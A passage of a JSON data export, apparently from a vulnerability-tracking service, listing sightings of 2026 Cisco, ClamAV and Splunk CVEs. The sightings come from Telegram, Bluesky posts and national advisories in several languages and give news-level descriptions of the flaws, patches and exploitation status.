\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-13T01:00:04.053662Z"}, {"uuid": "6d156340-a7c5-4027-b2a5-c67af5ed6e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://t.me/true_secator/8496", "content": "Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0435 Secure Endpoint Connector \u0434\u043b\u044f Windows, macOS \u0438 Linux \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c ClamAV, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a DoS, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 PoC.\n\nClamAV (Clam AntiVirus) - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u0442\u043e\u0447\u043d\u044b\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440, \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-20337\u2013CVE-2026-20339 \u0438 CVE-2026-20345\u2013CVE-2026-20348 \u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043f\u0430\u0440\u0441\u0435\u0440\u0430\u0445 ClamAV \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 ZIP, GPT, PESpin, PDF, Mach-O \u0438 XAR.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 ClamAV 1.5.4, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 WinRAR \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a ClamAV \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, Cisco \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0432\u044b\u0445\u043e\u0434\u0435 PoC, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 CVE-2026-20337 \u0438 CVE-2026-20338.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cisco, \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Secure Endpoint Connector \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u0430 macOS \u0438 Linux \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f ClamAV \u043d\u0430 \u043d\u0438\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Secure Endpoint Private Cloud, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u041f\u041e Secure Endpoint Connector, \u0442\u0430\u043a \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (\u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Secure Endpoint Private Cloud \u0432\u0435\u0440\u0441\u0438\u0439 4.2.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445) \u0438\u0437 \u043e\u0431\u043b\u0430\u043a\u0430 \u043d\u0430 \u0441\u0432\u043e\u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u044d\u0442\u043e \u043f\u043e\u043a\u0430, \u0431\u0443\u0434\u0435\u043c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-08-13T01:00:04.103703Z"}, {"uuid": "0f788527-a1c5-4d9f-b44b-23998dfeaafc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3moop35yw4zt2", "content": "\ud83d\udea8 CRITICAL Splunk Enterprise flaw (CVE-2026-20253) allows unauthenticated RCE! CVSS 9.8. Attackers can execute code via an insecure PostgreSQL endpoint. On-premise versions 10.0.x and 10.2.x are...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-20T01:23:40.877564Z"}, {"uuid": "c5138298-9427-4e73-8dbc-7f9b3d928fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3moornlotvc2j", "content": "Any organization running Cisco Catalyst SD-WAN Manager is exposed to live attacks right now. Cisco $CSCO confirmed two zero-days under exploitation: CVE-2026-20262 overwrites any file via the API, CVE-2026-20245 runs commands as root with no patch yet. CISA set a June 29 federal deadline.", "creation_timestamp": "2026-06-20T02:09:44.459052Z"}, {"uuid": "e40ef29e-c361-41e1-8f53-a0ed25afd092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3moornlotvc2j", "content": "Any organization running Cisco Catalyst SD-WAN Manager is exposed to live attacks right now. Cisco $CSCO confirmed two zero-days under exploitation: CVE-2026-20262 overwrites any file via the API, CVE-2026-20245 runs commands as root with no patch yet. CISA set a June 29 federal deadline.", "creation_timestamp": "2026-06-20T02:09:44.609079Z"}, {"uuid": "57916516-0bf5-44c1-a527-08a99e8db883", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3moostal2o52d", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 26 interactions\nCVE-2026-54420: 26 interactions\nCVE-2026-20262: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-20253: 6 interactions\nCVE-2026-47729: 5 interactions\nCVE-2026-8713: 4 interactions\n", "creation_timestamp": "2026-06-20T02:30:48.285487Z"}, {"uuid": "f28cd7bd-0d23-4fa4-9711-5d4d7b987b1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3moostal2o52d", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 26 interactions\nCVE-2026-54420: 26 interactions\nCVE-2026-20262: 20 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-20253: 6 interactions\nCVE-2026-47729: 5 interactions\nCVE-2026-8713: 4 interactions\n", "creation_timestamp": "2026-06-20T02:30:48.531936Z"}, {"uuid": "335e987b-1070-414c-9243-dfdbb8b17577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mop3ixleou25", "content": "Daily IT Security Digest \u2014 2026-06-20\n[Sources: EUVD_Bot, offseq@infosec.exchange]\n\n2. **Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild**\n   A critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager allows attackers with write access to escalate to root", "creation_timestamp": "2026-06-20T05:06:07.122988Z"}, {"uuid": "c23b25fc-c990-4942-b2da-f04ce59fc4ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mopdkpw7aa2f", "content": "Cisco releases security updates for CVE-2026-20262 in Catalyst SD-WAN Manager, a medium-severity, actively exploited flaw with a CVSS score of 6.5. Update now!", "creation_timestamp": "2026-06-20T07:30:15.970695Z"}, {"uuid": "4ff9b0d8-c7f3-4ab4-ad16-3e0d35489bd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20311", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:25.189457Z"}, {"uuid": "29ea67f0-5979-43b5-9b02-50169f7b5e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "Aggiornamenti di sicurezza Cisco sanano 7 vulnerabilit\u00e0 con gravit\u00e0 \"alta\" presenti in ClamAV, software open source per l'analisi antivirus. Tra queste si evidenziano le CVE-2026-20337 e CVE-2026-20338 per le quali il vendor conferma la presenza di Proof of Concept (PoC) disponibili in rete.", "creation_timestamp": "2026-08-10T10:00:46.642771Z"}, {"uuid": "b732a74e-979c-44fe-bb71-9b6b73af64a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-clamav-2", "content": "Aggiornamenti di sicurezza Cisco sanano 7 vulnerabilit\u00e0 con gravit\u00e0 \"alta\" presenti in ClamAV, software open source per l'analisi antivirus. Tra queste si evidenziano le CVE-2026-20337 e CVE-2026-20338 per le quali il vendor conferma la presenza di Proof of Concept (PoC) disponibili in rete.", "creation_timestamp": "2026-08-10T10:00:46.719413Z"}, {"uuid": "52dc47d5-a38e-48d5-9509-f3de8cf71e90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mopn7xrbt22h", "content": "Unauthenticated RCE in Splunk Enterprise under active attack (CVE-2026-20253)\n\nCISA has added CVE-2026-20253, a critical, remotely exploitable vulnerability in Splunk Enterprise, to its Known Exploited Vulnerabilities catalog, and ordered US federal civilian agencies to apply miti\u2026\n#hackernews #news", "creation_timestamp": "2026-06-20T10:23:12.545689Z"}, {"uuid": "079bbbec-ed73-46f0-83d2-961866f6f5fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mopxm4vs2k2s", "content": "Cisco\u304cCVSS 10.0\u30bb\u30ad\u30e5\u30a2\u30ef\u30fc\u30af\u30ed\u30fc\u30c9REST API\u306e\u8106\u5f31\u6027\uff08\u30c7\u30fc\u30bf\u30a2\u30af\u30bb\u30b9\u3092\u53ef\u80fd\u306b\u3059\u308b\uff09\u3092\u4fee\u6b63\n\n\u30b7\u30b9\u30b3\u306f\u3001\u30bb\u30ad\u30e5\u30a2\u30ef\u30fc\u30af\u30ed\u30fc\u30c9\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3001\u6df1\u523b\u5ea6\u304c\u6700\u9ad8\u30ec\u30d9\u30eb\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u5c55\u958b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u306a\u3044\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u304c\u6a5f\u5bc6\u30c7\u30fc\u30bf\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\n\nCVE-2026-20223\uff08CVSS\u30b9\u30b3\u30a2\uff1a10.0\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001REST API\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3078\u306e\u30a2\u30af\u30bb\u30b9\u6642\u306b\u691c\u8a3c\u3068\u8a8d\u8a3c\u304c\u4e0d\u5341\u5206\u3067\u3042\u308b\u3053\u3068\u306b\u8d77\u56e0\u3057\u307e\u3059\u3002\n\n\u653b\u6483\u8005\u306f\u3001\u7d30\u5de5\u3055\u308c\u305fAPI\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306b\u9001\u4fe1\u3067\u304d\u308c\u3070\u3001...", "creation_timestamp": "2026-06-20T13:29:03.535587Z"}, {"uuid": "e1fc467d-9b18-4615-beb3-178b7ec99537", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20253", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3moq5g7idw527", "content": "\ud83d\udea8 CISA KEV\nUnauthenticated RCE in Splunk Enterprise under active attack (CVE-2026-20253)\n\nhttps://www.helpnetsecurity.com/2026/06/19/splunk-vulnerability-cve-2026-20253-exploited/\n\n#CISA #KEV #PatchNow", "creation_timestamp": "2026-06-20T15:13:01.639701Z"}, {"uuid": "807c2a6f-eb30-4db0-b1dc-ded437f560b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/hexonbot.bsky.social/post/3moqf6o2nxf2g", "content": "Splunk's exploited CVE-2026-20253 is a warning: a PostgreSQL sidecar turned into an initial access path on a trusted security platform. New on Hexon: https://www.hexon.bot/blog/splunk-enterprise-vulnerability-sidecar-risk #Cybersecurity #Splunk", "creation_timestamp": "2026-06-20T17:31:58.445745Z"}, {"uuid": "c4d5d466-a32d-457a-b4ac-0e9c0f4dc4ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mordczgryp2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 27 interactions\nCVE-2026-54420: 27 interactions\nCVE-2026-20262: 22 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-9082: 12 interactions\nCVE-2026-11551: 5 interactions\nCVE-2026-4020: 4 interactions\n", "creation_timestamp": "2026-06-21T02:33:27.098844Z"}, {"uuid": "55dd13f8-8fb3-4bfb-9736-758f41e76192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3morlub5wgg2j", "content": "Daily IT Security Digest \u2014 2026-06-21\n# Daily IT Security Digest \u2014 2026-06-21\n\n**1. Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Actively Exploited**\nA critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager allows attackers with write access to escalate to root privileges via", "creation_timestamp": "2026-06-21T05:04:05.234296Z"}, {"uuid": "7505a903-dbe2-4ea9-8275-1b7e0dd2f062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mos3kremxs2r", "content": "Unauthenticated RCE in Splunk Enterprise under active attack (CVE-2026-20253) - Help Net Security www.helpnetsecurity.com/2026/06/19/s...", "creation_timestamp": "2026-06-21T09:45:09.597906Z"}, {"uuid": "ac0f9a70-db8a-464c-b2a7-0fa9e46d41a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20271", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:13.954990Z"}, {"uuid": "17436358-4560-4b71-8d53-abfc733bbe68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20301", "type": "seen", 